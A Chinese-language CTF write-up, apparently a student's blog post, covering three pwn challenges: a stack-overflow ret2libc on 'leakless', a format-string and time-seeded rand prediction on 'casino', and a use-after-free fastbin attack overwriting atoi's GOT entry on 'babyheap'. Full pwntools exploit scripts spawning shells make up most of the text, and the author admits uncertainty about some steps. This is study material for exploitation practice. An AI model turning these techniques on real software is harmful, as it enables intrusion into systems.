本来在之前没搞完的jarvisOJ那边遇到了问题,想问学长来着,结果被拉过来看看这个比赛,被自己菜哭 
leakless 题目 1 2 char buf; // [esp+0h] [ebp-48h] return read(0, &buf, 0x100u); 
 
分析 一个简单的栈溢出,第一反应是去泄露libc版本,后面又突然想着把shellcode写到bss段,但是奈何总是不成功,vmmap才发现bss段不可执行,且不存在能够wx的段,因为以前用LibcSearcher没成功(ps:完全不记得为什么),偏偏用DynElf爆破失败,所以还是转向LibcSearcher.
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * from LibcSearcher import * context.log_level = 'debug' sh = process('./leakless') libc = ELF('./leakless') pay = 'a'*0x48 + 'bbbb' + p32(libc.symbols['puts'])+p32(libc.symbols['feedme']) +p32(libc.got['puts']) sh.sendline(pay) puts_got_addr = u32(sh.recv(4)) print "puts_got_addr: "+hex(puts_got_addr) obj = LibcSearcher("puts",puts_got_addr) system_addr = puts_got_addr - obj.dump('puts')+obj.dump("system") binsh_addr = puts_got_addr - obj.dump('puts') + obj.dump("str_bin_sh")   success( "system_addr: "+hex(system_addr)) success("binsh_addr: "+hex(binsh_addr)) pay = 'a'*0x48 + 'bbbb' + p32(system_addr) + p32(libc.symbols['main']) + p32(binsh_addr) #gdb.attach(sh) sh.sendline(pay) sh.interactive() 
 
casino 题目 用户输入的值与随机数匹配成功100次,之后会读取flag.txt文件并输出。
1 2 3 4 seed = (unsigned int)time(0LL) / 10; seed += bet;(bet=1) srand(seed); rand(); 
 
分析 格式化字符串漏洞,但是大小限制在了0x10,能够泄露出来seed,也就能预测第一次的值,然后因为要泄露100次,想着顺便把栈上的记录次数的值或者bet一起改掉,但是因为长度限制,最后有点懵。感觉二者不可得兼。
看大佬们的wp,因为seed是用time(0)/10+ bet ,可以先自己先利用time将seed计算出来,然后计算rand();因为python和c的rand()不同,所以得考虑如何将在python脚本中计算c的随机数,可以有:
单独写一份c的程序计算随机数,脚本中调用c程序(昨天也是这么做的);  
使用python和c的混合编程包:ctypes。 
 
经实践,同一个seed得到的随机数序列都是一样的…,而题中通过time(0)/10对seed给了容错
exp 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import * from time import * context.log_level='debug' now=int(time())/10+2 sh=process("./timerand") ### #include<stdio.h> int main() { 	int i; 	int seed; 	scanf("%d",&seed); 	srand(seed); 	for(i = 0; i < 100; i++) 	{     		printf("%d ",rand());    	} 	printf("\n"); } ### sh.sendline(str(now)) rand=sh.recvuntil("\n").strip().split(" ") print rand sh.close() #sleep(0.5) #sh=remote("challs.fireshellsecurity.team",31006) sh=process('./casino') sh.sendafter("What is your name? ","aa%11$hn"+p64(0x602020)) #gdb.attach(sh) for i in range(99):    sh.sendlineafter("number: ",rand[i]) print sh.recv() sh.interactive() 
 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * from ctypes import cdll sh = process("./casino") sh.recvuntil('What is your name? ') sh.send("%8$p") sh.recvuntil('Welcome ') seed =eval(sh.recvuntil('\n',drop=True))&0xffffffff  <--- 数据类型转换成int型 print seed sh.close() seed += 3       <----还是不清楚这个3怎么计算出来的,或许是因为两个程序打开具有延迟?? libc = cdll.LoadLibrary("")   <--- 突然发现这里为空也不影响?? libc.srand(seed) sh = process('./casino') pay = 'aaa%11$n'+p64(0x602020) sh.recvuntil('What is your name? ') sh.send(pay) for i in range(99): 	sh.sendlineafter("Guess my number: ",str(libc.rand())) sh.interactive() 
 
 
 
babyheap 题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 int create() {   int result; // eax   buf = malloc(0x60uLL);   result = puts("Done!");   create_inuse = 1LL;   return result; } ssize_t edit() {   ssize_t result; // rax   printf("Content? ");   result = read(0, buf, 0x40uLL);   edit_inuse = 1LL;   return result; } int show() {   int result; // eax   result = printf("Content: %s\n", buf);   show_inuse = 1LL;   return result; } int delete() {   int result; // eax   free(buf);                                    // UAF   result = puts("Done!");   create_inuse = 0LL;   delete_inuse = 1LL;   return result; } __int64 fill() {   buf = malloc(0x60uLL);   printf("Fill ");   read(0, buf, 0x40uLL);   return fill_inuse++ + 1; } 
 
分析 各项功能除了次数检查基本没有限制,所以在有限的步骤内将chunk分配到
1 2 3 4 5 6 .bss:00000000006020A0 create_inuse    .bss:00000000006020A8 edit_inuse    .bss:00000000006020B0 show_inuse       .bss:00000000006020B8 delete_inuse     .bss:00000000006020C0 fill_inuse      .bss:00000000006020C8 ; void *buf 
 
我们可以使用UAF漏洞+fastbinattack达到目的,这样不仅消除了次数限制问题,同时可以随意修改指针 所以之后便是先泄露libc基址,之后修改atoi.got表为system,输入’/bin/sh’即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import * context.log_level='debug' def new():   sh.sendlineafter("> ","1") def edit(note):   sh.sendlineafter("> ","2")   sh.sendafter("Content? ",note) def delete():   sh.sendlineafter("> ","4") def  show():   sh.sendlineafter("> ","3")   sh.recvuntil("Content: ")   return sh.recvuntil("\n") def  fill(note):   sh.sendlineafter("> ","1337")   sh.sendafter("Fill ",note) sh=process("./babyheap") elf = ELF("./babyheap") libc = ELF("./libc.so.6") new() delete() edit(p64(0x602095-8)) new() fill('/bin/sh'+chr(0)+'a'*0x33+p64(0x602060)[0:3]) #gdb.attach(p) sh.sendline('3') sh.recvuntil('Content: ') libc_addr = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.plt['atoi'] print "libc_addr : " + hex(libc_addr) #gdb.attach(p) system_addr = libc_addr + libc.plt['system'] edit(p64(system_addr)) sh.sendline('/bin/sh') sh.interactive()